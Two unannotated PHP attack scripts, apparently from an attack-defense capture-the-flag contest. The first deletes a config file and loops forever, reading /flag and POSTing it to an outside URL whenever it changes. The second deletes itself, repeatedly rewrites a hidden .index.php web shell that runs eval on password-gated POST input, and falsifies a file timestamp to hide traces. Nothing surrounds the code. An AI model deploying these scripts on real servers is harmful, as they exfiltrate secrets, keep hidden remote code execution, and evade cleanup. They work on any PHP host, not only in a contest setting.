🚧
<?php
ignore_user_abort(true);
ini_set('max_execution_time','0');
function send_post($url, $post_data) {
$postdata = http_build_query($post_data);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $postdata,
'timeout' => 15 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
return $result;
}
$flag_tmp="flag{xxx}";
@unlink("conf.php");
while(True) {
$flag=file_get_contents("/flag");
$data=array(
'flag' => $flag
);
if ($flag!=$flag_tmp) {
send_post('http://', $data);
}
$flag_tmp=$flag;
sleep(60);
}
?>
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="c5ebfc2dd566bb4610cdfcd17c873dba"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>